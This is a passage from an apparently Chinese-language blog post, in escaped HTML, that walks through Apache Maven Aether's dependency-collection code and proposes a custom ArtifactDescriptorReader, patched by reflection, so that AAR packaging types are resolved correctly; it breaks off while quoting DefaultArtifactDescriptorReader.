depManager,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"hljs-params\"\u003e DependencyTraverser depTraverser,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"hljs-params\"\u003e VersionFilter verFilter,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"hljs-params\"\u003e Dependency dependency)\u003c/span\u003e \u0026#123;\u003cbr\u003e\u003cbr\u003e List\u0026lt;Artifact\u0026gt; relocations = Collections.emptyList();\u003cbr\u003e processDependency(\u003cbr\u003e args,\u003cbr\u003e trace,\u003cbr\u003e results,\u003cbr\u003e repositories,\u003cbr\u003e depSelector,\u003cbr\u003e depManager,\u003cbr\u003e depTraverser,\u003cbr\u003e verFilter,\u003cbr\u003e dependency,\u003cbr\u003e relocations,\u003cbr\u003e \u003cspan class=\"hljs-literal\"\u003efalse\u003c/span\u003e);\u003cbr\u003e \u0026#125;\u003cbr\u003e\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eprivate\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"hljs-title function_\"\u003eprocessDependency\u003c/span\u003e\u003cspan class=\"hljs-params\"\u003e(\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"hljs-params\"\u003e Args args,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"hljs-params\"\u003e RequestTrace parent,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"hljs-params\"\u003e Results results,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"hljs-params\"\u003e List\u0026lt;RemoteRepository\u0026gt; repositories,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"hljs-params\"\u003e DependencySelector depSelector,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"hljs-params\"\u003e DependencyManager depManager,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"hljs-params\"\u003e DependencyTraverser depTraverser,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"hljs-params\"\u003e VersionFilter verFilter,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"hljs-params\"\u003e Dependency dependency,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"hljs-params\"\u003e List\u0026lt;Artifact\u0026gt; relocations,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"hljs-params\"\u003e \u003cspan class=\"hljs-type\"\u003eboolean\u003c/span\u003e disableVersionManagement)\u003c/span\u003e \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eif\u003c/span\u003e (depSelector != \u003cspan class=\"hljs-literal\"\u003enull\u003c/span\u003e \u0026amp;\u0026amp; !depSelector.selectDependency(dependency)) \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003ereturn\u003c/span\u003e;\u003cbr\u003e \u0026#125;\u003cbr\u003e\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eRequestTrace\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003etrace\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e collectStepTrace(parent, args.request.getRequestContext(), args.nodes.nodes, dependency);\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003ePremanagedDependency\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003epreManaged\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e\u003cbr\u003e PremanagedDependency.create(depManager, dependency, disableVersionManagement, args.premanagedState);\u003cbr\u003e dependency = preManaged.getManagedDependency();\u003cbr\u003e\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eboolean\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003enoDescriptor\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e isLackingDescriptor(dependency.getArtifact());\u003cbr\u003e\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eboolean\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003etraverse\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e !noDescriptor \u0026amp;\u0026amp; (depTraverser == \u003cspan class=\"hljs-literal\"\u003enull\u003c/span\u003e || depTraverser.traverseDependency(dependency));\u003cbr\u003e\u003cbr\u003e List\u0026lt;? \u003cspan class=\"hljs-keyword\"\u003eextends\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eVersion\u003c/span\u003e\u0026gt; versions;\u003cbr\u003e VersionRangeResult rangeResult;\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003etry\u003c/span\u003e \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eVersionRangeRequest\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003erangeRequest\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e\u003cbr\u003e createVersionRangeRequest(args.request.getRequestContext(), trace, repositories, dependency);\u003cbr\u003e\u003cbr\u003e rangeResult = cachedResolveRangeResult(rangeRequest, args.pool, args.session);\u003cbr\u003e\u003cbr\u003e versions = filterVersions(dependency, rangeResult, verFilter, args.versionContext);\u003cbr\u003e \u0026#125; \u003cspan class=\"hljs-keyword\"\u003ecatch\u003c/span\u003e (VersionRangeResolutionException e) \u0026#123;\u003cbr\u003e results.addException(dependency, e, args.nodes.nodes);\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003ereturn\u003c/span\u003e;\u003cbr\u003e \u0026#125;\u003cbr\u003e\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003efor\u003c/span\u003e (Version version : versions) \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eArtifact\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003eoriginalArtifact\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e dependency.getArtifact().setVersion(version.toString());\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eDependency\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003ed\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e dependency.setArtifact(originalArtifact);\u003cbr\u003e\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eArtifactDescriptorRequest\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003edescriptorRequest\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e\u003cbr\u003e createArtifactDescriptorRequest(args.request.getRequestContext(), trace, repositories, d);\u003cspan class=\"hljs-comment\"\u003e//关键代码\u003c/span\u003e\u003cbr\u003e\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003efinal\u003c/span\u003e \u003cspan class=\"hljs-type\"\u003eArtifactDescriptorResult\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003edescriptorResult\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e\u003cbr\u003e getArtifactDescriptorResult(args, results, noDescriptor, d, descriptorRequest);\u003cspan class=\"hljs-comment\"\u003e//关键代码\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eif\u003c/span\u003e (descriptorResult != \u003cspan class=\"hljs-literal\"\u003enull\u003c/span\u003e) \u0026#123;\u003cbr\u003e d = d.setArtifact(descriptorResult.getArtifact());\u003cbr\u003e\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eDependencyNode\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003enode\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e args.nodes.top();\u003cbr\u003e\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eint\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003ecycleEntry\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e DefaultDependencyCycle.find(args.nodes.nodes, d.getArtifact());\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eif\u003c/span\u003e (cycleEntry \u0026gt;= \u003cspan class=\"hljs-number\"\u003e0\u003c/span\u003e) \u0026#123;\u003cbr\u003e results.addCycle(args.nodes.nodes, cycleEntry, d);\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eDependencyNode\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003ecycleNode\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e args.nodes.get(cycleEntry);\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eif\u003c/span\u003e (cycleNode.getDependency() != \u003cspan class=\"hljs-literal\"\u003enull\u003c/span\u003e) \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eDefaultDependencyNode\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003echild\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e createDependencyNode(\u003cbr\u003e relocations, preManaged, rangeResult, version, d, descriptorResult, cycleNode);\u003cbr\u003e node.getChildren().add(child);\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003econtinue\u003c/span\u003e;\u003cbr\u003e \u0026#125;\u003cbr\u003e \u0026#125;\u003cbr\u003e\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eif\u003c/span\u003e (!descriptorResult.getRelocations().isEmpty()) \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eboolean\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003edisableVersionManagementSubsequently\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e\u003cbr\u003e originalArtifact.getGroupId().equals(d.getArtifact().getGroupId())\u003cbr\u003e \u0026amp;\u0026amp; originalArtifact\u003cbr\u003e .getArtifactId()\u003cbr\u003e .equals(d.getArtifact().getArtifactId());\u003cbr\u003e\u003cbr\u003e processDependency(\u003cbr\u003e args,\u003cbr\u003e parent,\u003cbr\u003e results,\u003cbr\u003e repositories,\u003cbr\u003e depSelector,\u003cbr\u003e depManager,\u003cbr\u003e depTraverser,\u003cbr\u003e verFilter,\u003cbr\u003e d,\u003cbr\u003e descriptorResult.getRelocations(),\u003cbr\u003e disableVersionManagementSubsequently);\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003ereturn\u003c/span\u003e;\u003cbr\u003e \u0026#125; \u003cspan class=\"hljs-keyword\"\u003eelse\u003c/span\u003e \u0026#123;\u003cbr\u003e d = args.pool.intern(d.setArtifact(args.pool.intern(d.getArtifact())));\u003cbr\u003e\u003cbr\u003e List\u0026lt;RemoteRepository\u0026gt; repos =\u003cbr\u003e getRemoteRepositories(rangeResult.getRepository(version), repositories);\u003cbr\u003e\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eDefaultDependencyNode\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003echild\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e createDependencyNode(\u003cbr\u003e relocations,\u003cbr\u003e preManaged,\u003cbr\u003e rangeResult,\u003cbr\u003e version,\u003cbr\u003e d,\u003cbr\u003e descriptorResult.getAliases(),\u003cbr\u003e repos,\u003cbr\u003e args.request.getRequestContext());\u003cbr\u003e\u003cbr\u003e node.getChildren().add(child);\u003cbr\u003e\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eboolean\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003erecurse\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e\u003cbr\u003e traverse \u0026amp;\u0026amp; !descriptorResult.getDependencies().isEmpty();\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eif\u003c/span\u003e (recurse) \u0026#123;\u003cbr\u003e doRecurse(\u003cbr\u003e args,\u003cbr\u003e parent,\u003cbr\u003e results,\u003cbr\u003e repositories,\u003cbr\u003e depSelector,\u003cbr\u003e depManager,\u003cbr\u003e depTraverser,\u003cbr\u003e verFilter,\u003cbr\u003e d,\u003cbr\u003e descriptorResult,\u003cbr\u003e child);\u003cbr\u003e \u0026#125;\u003cbr\u003e \u0026#125;\u003cbr\u003e \u0026#125; \u003cspan class=\"hljs-keyword\"\u003eelse\u003c/span\u003e \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eDependencyNode\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003enode\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e args.nodes.top();\u003cbr\u003e List\u0026lt;RemoteRepository\u0026gt; repos = getRemoteRepositories(rangeResult.getRepository(version), repositories);\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eDefaultDependencyNode\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003echild\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e createDependencyNode(\u003cbr\u003e relocations,\u003cbr\u003e preManaged,\u003cbr\u003e rangeResult,\u003cbr\u003e version,\u003cbr\u003e d,\u003cbr\u003e \u003cspan class=\"hljs-literal\"\u003enull\u003c/span\u003e,\u003cbr\u003e repos,\u003cbr\u003e args.request.getRequestContext());\u003cbr\u003e node.getChildren().add(child);\u003cbr\u003e \u0026#125;\u003cbr\u003e \u0026#125;\u003cbr\u003e \u0026#125;\u003cbr\u003e ...\u003cbr\u003e\u0026#125;\u003cbr\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e代码中已用注释写明了关键代码位置,可以得知在RootDependency的Collect操作中,会进行ArtifactDescriptor(即,依赖的pom文件的解析)的解析操作,得到该Dependency的直接依赖,此操作由ArtifactDescriptorReader进行,但是既然解析了pom文件,为什么不根据pom文件内声明的extension类型来修正Artifact对应的文件类型呢?只因\u003cdel\u003e你太美\u003c/del\u003eArtifact中的extension是final修饰的,咱也不懂Aether为什么不写个自动修正extension的操作,毕竟人家是apache foundation下的,咱也不敢问。\u003c/p\u003e\u003ch4 id=\"解决方法\"\u003e\u003ca href=\"#解决方法\" class=\"headerlink\" title=\"解决方法\"\u003e\u003c/a\u003e解决方法\u003c/h4\u003e\u003cp\u003e前情回顾,Aether内部使用了Dependency Injection,我们如果需要更改内部的逻辑,最简单的当然还是利用DefaultLocatorService操作了。\u003c/p\u003e\u003cp\u003e我们只需这么修改代码,将默认的ArtifactDescriptorReader更改为可以自动修正的自定义ArtifactDescriptorReader即可:\u003c/p\u003e\u003cfigure class=\"highlight java\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003ccode class=\"hljs java\"\u003e...\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003epublic\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003estatic\u003c/span\u003e RepositorySystem \u003cspan class=\"hljs-title function_\"\u003enewRepositorySystem\u003c/span\u003e\u003cspan class=\"hljs-params\"\u003e()\u003c/span\u003e \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eDefaultServiceLocator\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003elocator\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eDefaultServiceLocator\u003c/span\u003e();\u003cbr\u003e\u003cspan class=\"hljs-comment\"\u003e// locator.addService(ArtifactDescriptorReader.class, DefaultArtifactDescriptorReader.class); //默认的ArtifactDescriptorReader\u003c/span\u003e\u003cbr\u003e locator.addService(ArtifactDescriptorReader.class, CompactAARArtifactDescriptorReader.class);\u003cspan class=\"hljs-comment\"\u003e//兼容AAR的CompactAARArtifactDescriptorReader\u003c/span\u003e\u003cbr\u003e locator.addService(VersionResolver.class, DefaultVersionResolver.class);\u003cbr\u003e locator.addService(VersionRangeResolver.class, DefaultVersionRangeResolver.class);\u003cbr\u003e locator.addService(MetadataGeneratorFactory.class, SnapshotMetadataGeneratorFactory.class);\u003cbr\u003e locator.addService(MetadataGeneratorFactory.class, VersionsMetadataGeneratorFactory.class);\u003cbr\u003e locator.addService(RepositoryConnectorFactory.class, BasicRepositoryConnectorFactory.class);\u003cbr\u003e locator.addService(TransporterFactory.class, FileTransporterFactory.class);\u003cbr\u003e locator.addService(TransporterFactory.class, HttpTransporterFactory.class);\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003ereturn\u003c/span\u003e locator.getService(RepositorySystem.class);\u003cbr\u003e \u0026#125;\u003cbr\u003e...\u003cbr\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e这个思路显然是对的,但是问题又来了,我们如何实现自动修正,毕竟人家extension是final修饰的?反射操作。\u003c/p\u003e\u003cp\u003e那,又怎么获取正确的extension呢?不妨来看看ArtifactDescriptorReader的代码,看看人家是怎么解析的。\u003c/p\u003e\u003cp\u003e\u003ccode\u003eorg.apache.maven.repository.internal.DefaultArtifactDescriptorReader\u003c/code\u003e的代码摘要(具体片段懒得继续缩减了,就这个方法先凑活看好了):\u003c/p\u003e\u003cfigure class=\"highlight java\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e31\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e32\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e33\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e34\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e35\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e36\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e37\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e38\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e39\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e40\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e41\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e42\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e43\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e44\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e45\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e46\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e47\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e48\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e49\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e50\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e51\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e52\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e53\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e54\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e55\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e56\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e57\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e58\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e59\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e60\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e61\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e62\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e63\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e64\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e65\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e66\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e67\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e68\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e69\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e70\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e71\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e72\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e73\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e74\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e75\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e76\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e77\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e78\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e79\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e80\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e81\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e82\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e83\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e84\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e85\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e86\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e87\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e88\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e89\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e90\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e91\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e92\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e93\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e94\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e95\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e96\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e97\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e98\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e99\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e100\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e101\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e102\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e103\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e104\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e105\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e106\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e107\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e108\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e109\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e110\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e111\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e112\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e113\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e114\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e115\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e116\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e117\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e118\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e119\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e120\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e121\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e122\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e123\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e124\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e125\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e126\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e127\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e128\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e129\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003ccode class=\"hljs java\"\u003e\u003cspan class=\"hljs-keyword\"\u003epublic\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003eclass\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eDefaultArtifactDescriptorReader\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eimplements\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eArtifactDescriptorReader\u003c/span\u003e, Service\u003cbr\u003e\u0026#123;\u003cbr\u003e ...\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eprivate\u003c/span\u003e Model \u003cspan class=\"hljs-title function_\"\u003eloadPom\u003c/span\u003e\u003cspan class=\"hljs-params\"\u003e( RepositorySystemSession session, ArtifactDescriptorRequest request,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"hljs-params\"\u003e ArtifactDescriptorResult result )\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003ethrows\u003c/span\u003e ArtifactDescriptorException\u003cbr\u003e \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eRequestTrace\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003etrace\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e RequestTrace.newChild( request.getTrace(), request );\u003cbr\u003e\u003cbr\u003e Set\u0026lt;String\u0026gt; visited = \u003cspan class=\"hljs-keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"hljs-title 